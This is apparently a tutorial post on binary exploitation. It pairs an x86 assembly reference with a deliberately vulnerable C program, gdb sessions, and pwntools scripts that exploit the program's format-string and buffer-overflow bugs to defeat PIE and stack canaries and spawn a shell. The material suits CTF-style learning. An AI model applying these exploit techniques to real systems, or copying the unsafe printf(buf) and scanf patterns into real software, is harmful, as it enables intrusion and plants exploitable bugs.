Post

Binary Exploitation

Assembly Overview

Assembly language is a low-level programming language that translates high-level code into machine instructions. Registers temporarily hold data and facilitate operations.

Core Registers
Reg32b64bUsage
MathEAXRAXReturn, Math
BaseEBXRBXMemory Base
CountECXRCXLoops, 4th Arg
DataEDXRDXI/O, 3rd Arg
IndexESI/EDIRSI/RDI1st/2nd Arg
StackESP/EBPRSP/RBPStack/Frame Ptr
Extra-R8-R155th+ Args
Register Sizes
64b32b16b8b
RAX-RDXEAX-EDXAX-DXAL-DL
RSP/RBPESP/EBPSP/BPSPL/BPL
RSI/RDIESI/EDISI/DISIL/DIL
R8-R15R8D-R15DR8W-R15WR8B-R15B
Memory & Types
Type32b64b
Word2B2B
DWord4B4B
QWord-8B
Ptr4B8B
Addr4GB16EB
Instructions
TypeMnemonicOpcodeEffect
Datamov,lea0x89,8DTransfer
Mathadd,sub0x01,29Arithmetic
Flowjmp,call0xEB,E8Control
Stackpush,pop0x50+rStack ops
Logicand,or,xor0x21,09,31Bitwise
Testcmp,test0x39,85Compare
Conditionals
JumpOpFlagsTest
je/jz74ZF=1Equal
jne75ZF=0Not Equal
jg7FSF=OF,ZF=0Greater
jl7CSF≠OFLess
jge7DSF=OFGreater/Equal
jle7EZF=1∨SF≠OFLess/Equal
Status Flags
BitFlagUse
0CFCarry
6ZFZero
7SFSign
11OFOverflow
2PFParity
4AFAdjust
10DFDirection
9IFInterrupt
Dereferencing
CommandExplanationExample Use Case
mov rbx, [rax]Read memory at address in rax into rbxReading a variable value
mov [rax], 10Write value 10 to memory at address in raxStoring immediate value
lea rbx, [rax]Load effective address of rax into rbxGetting pointer address
Properties
FeatureValueImpact
FormatELFLinux executable
Architecture64-bit LSBx86_64 little-endian
RELROPartialSome segments read-only
STACK CANARYNoneNo stack overflow detection
NXEnabledMemory regions not executable
PIEEnabledRandom program loading
RPATH/RUNPATHNoneStandard library paths
Symbols67Debug symbols available
FORTIFYNoNo runtime checks
LinkingDynamicUses shared libraries
Interpreter/lib64/ld-linux-x86-64.so.2Dynamic linker
Debug InfoNot strippedHas symbol table
BuildIDPresentDebug info identifier

Resources

Learning

Challenges

Vulnerable Example

vuln.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() { system("/bin/sh"); }

void vuln() {
    char buf[32];
    printf("> "); scanf("%s", buf);
    printf(buf); printf("\n");
    return;
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    while(1) { vuln(); }
    return 0;
}

Let’s start simple with all protections disabled and 32bit for shorter addresses

1
gcc vuln.c -o vuln -m32 -no-pie -fno-stack-protector
1
2
3
4
5
6
7
8
9
10
11
❯ gdb vuln
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> r
Starting program: /home/e/vuln
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
Invalid address 0x6161616c
pwndbg> cyclic -l 0x6161616c
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 44

Note: If we switch to a 64-bit architecture, the offset changes. However if you change with correct addreses it work.

1
gcc vuln.c -o vuln -no-pie -fno-stack-protector
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ gdb vuln
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> r
Starting program: /home/e/vuln
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Program received signal SIGSEGV, Segmentation fault.
─────────────[ DISASM / x86-64 / set emulate on ]──────────────
 ► 0x4011ca <vuln+94>    ret                                <0x6161616161616166>
    ↓
pwndbg> cyclic -l 0x6161616161616166
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40
❯ ropper --file ./vuln --search "ret"
0x000000000040101a: ret;

So now instead of 44 is 40 and we have also stack allignment issues so now we use a ret gadget

Thanks to the formatstring vuln we can leak informations this will come handy later with less protections

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
from pwn import *

exe = './vuln'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h"]

def fsleak(num=40):
    leaks = {}
    log.info("Leaking stack values:")
    offsets = list(range(0, num))
    for offset in offsets:
        try:
            io.recvuntil(b'>')
            io.sendline(f'%{offset}$p'.encode())
            leak = io.recvline().strip()
            if leak.startswith(b'0x') and leak != b'(nil)':
                addr = int(leak, 16)
                leaks[offset] = addr
            log.info(f"Offset {offset}: {leak.decode()}")
        except Exception:
            pass
    return leaks

def ret2win():
    if elf.elfclass == 64:
        payload = b'\x90'*40 + pack(0x40101a) + pack(elf.symbols['win'])
    else:
        payload = b'\x90'*44 + pack(elf.symbols['win'])  
    log.info("Payload (hex): " + payload.hex())
    gdb.attach(io, gdbscript="c")
    return payload

def main():
    global io
    io = process([exe], env={'LD_PRELOAD': ''})
    fsleak(10)
    io.sendlineafter(b'> ', ret2win())
    io.interactive()

if __name__ == '__main__':
    main()
1
gcc vuln.c -o vuln -fno-stack-protector

Removing nopie or enabling ASLR breaks the position-independent code, causing the base address to become random. As a result, all function offsets change, and the program no longer behaves as expected. You can verify this by running ldd vuln the addresses will change upon rerun. While you can disable ASLR on your local machine, it cannot be disabled for programs hosted on other machines, such as in CTFs.

Now we play with the format string vulnerability to leak the correct address

if we leak fsleak() and in the gdb pane do x <address> we start loking at what we are leaking

1
2
pwndbg> info address main
Symbol "main" is at 0x11e4 in a file compiled without debugging.

We look for 0x11e4 since is the Offset 17 0x11e4 leaked from the fstring vuln

1
2
3
4
5
6
7
pwndbg> x 0x6403f709d1e4
0x6403f709d1e4 <main>:  0xe5894855
pwndbg> info proc mappings
Mapped address spaces:
Start Addr         End Addr           Size       Offset  Perms  objfile
0x6403f709c000     0x6403f709d000     0x1000   0x0     r--p   /home/e/vuln
0x6403f709d000     0x6403f709e000     0x1000 0x1000  r-xp   /home/e/vuln
1
2
❯ nm -n vuln | grep " main"
00000000000011e4 T main

By leaking and obtaining the 17th element, ‘main’, we can subtract 0x11e4 to calculate the base address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
from pwn import *

exe = './vuln'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'

def fsleak(num=40):
    leaks = {}
    log.info("Leaking stack values:")
    offsets = list(range(0, num))
    for offset in offsets:
        try:
            io.recvuntil(b'>')
            io.sendline(f'%{offset}$p'.encode())
            leak = io.recvline().strip()
            if leak.startswith(b'0x') and leak != b'(nil)':
                addr = int(leak, 16)
                leaks[offset] = addr
            log.info(f"Offset {offset}: {leak.decode()}")
        except Exception:
            pass
    return leaks

if __name__ == '__main__':
    io = process(exe)
    #fsleak()
    io.recvuntil(b'> ')
    if elf.elfclass == 64:
        io.sendline(b'%17$p')
    else:
        io.sendline(b'%29$p')
    main_leak = int(io.recvline().strip(), 16)
    if elf.elfclass == 64:
        elf.address = main_leak - 0x11e4
    else:
        elf.address = main_leak - 0x1244
    log.info(f"Base address: {hex(elf.address)}")
    log.info(f"Win function address: {hex(elf.symbols.win)}")
    ret_gadget = elf.address + 0x101a
    if elf.elfclass == 64:
        payload = b'\x90'*40 + p64(ret_gadget) + p64(elf.symbols.win)
    else:
        payload = b'\x90'*44 + p64(elf.symbols.win)
    gdb.attach(io, gdbscript="c")
    io.sendlineafter(b'> ', payload)
    io.interactive()
1
gcc vuln.c -o vuln -no-pie && python poc

Removing -fno-stack-protector add canaries.

Now buffer overflows cause

1
*** stack smashing detected ***: terminated

So we need to leak the canaries thanks to formatstring

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
from pwn import *

exe = './vuln'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h"]

def fsleak(num=40):
    leaks = {}
    log.info("Leaking stack values:")
    offsets = list(range(0, num))
    for offset in offsets:
        try:
            io.recvuntil(b'>')
            io.sendline(f'%{offset}$p'.encode())
            leak = io.recvline().strip()
            if leak.startswith(b'0x') and leak != b'(nil)':
                addr = int(leak, 16)
                leaks[offset] = addr
            log.info(f"Offset {offset}: {leak.decode()}")
        except Exception:
            pass
    return leaks

def find_canaries(io, start=1, end=40):
    log.info("Searching for canary pattern on stack...")
    found = []
    for i in range(start, end):
        try:
            io.recvuntil(b'>')
            io.sendline(f'%{i}$p'.encode())
            leak = io.recvline().strip()
            if leak.startswith(b'0x'):
                value = int(leak, 16)
                if value & 0xff == 0:
                    if elf.elfclass == 32 and hex(value).endswith("00"):
                        log.info(f"Potential canary at offset {i}: {hex(value)}")
                        found.append((i, value))
        except:
            continue
    return found

def build_payload(canary):
    win_addr = 0x401176
    ret_addr = 0x40101a
    payload = (b'\x90' * 40 + pack(canary) + pack(0) + pack(ret_addr) + pack(win_addr))
    return payload

def main():
    global io
    try:
        io = process(exe)
        fsleak()
        canaries = find_canaries(io)
        if not canaries:
            log.failure("No potential canaries found!")
            return
        io.close()
        io = process(exe)
        gdb.attach(io, """
            canary --all
            c
        """)
        canary_offset = 11
        io.recvuntil(b'>')
        io.sendline(f'%{canary_offset}$p'.encode())
        canary = int(io.recvline().strip(), 16)
        payload = build_payload(canary)
        io.sendlineafter(b'>', payload)
        io.interactive()
    except Exception as e:
        log.failure(f"Exploit failed: {str(e)}")
        if io:
            io.close()

if __name__ == '__main__':
    main()
This post is licensed under CC BY 4.0 by the author.